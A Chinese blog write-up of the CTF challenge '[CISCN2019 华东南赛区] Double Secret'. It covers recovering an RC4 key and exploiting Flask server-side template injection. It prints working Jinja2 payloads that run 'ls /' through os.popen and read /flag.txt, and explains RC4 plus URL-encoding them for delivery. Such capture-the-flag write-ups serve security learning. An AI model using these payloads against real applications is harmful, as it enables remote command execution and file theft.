刷题笔记:[CISCN2019 华东南赛区]Double Secret


前言

关键字:[rc4|ssti|flask]

题解

就是靠灵光一闪

buu上的题最近不知道为啥,浏览器里敲连接必触发dns rebind attack检测,真的烦

输到12345的时候报错了

rc4算法,密钥HereIsTreasure

试试?secret=a,结果为4,试了网上好几个在线rc4加密的,http://tool.chacuo.net/cryptrc4就这个结果一致

果然。

flask+template,怀疑是ssti

蛮怪的,明明是加密,注释又写个解密。

那大概就是检测加密字符输出解密,检测未加密字符输出加密。

查文件

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}

flag在flag.txt里

于是读/flag.txt

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}

直接打肯定是不行的,需要先rc4加密,加密后有很多不可视字符,所以再urlencode一下

注意把encode all special chars点上,不然#等字符不会被urlencode,get传值就出问题了。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录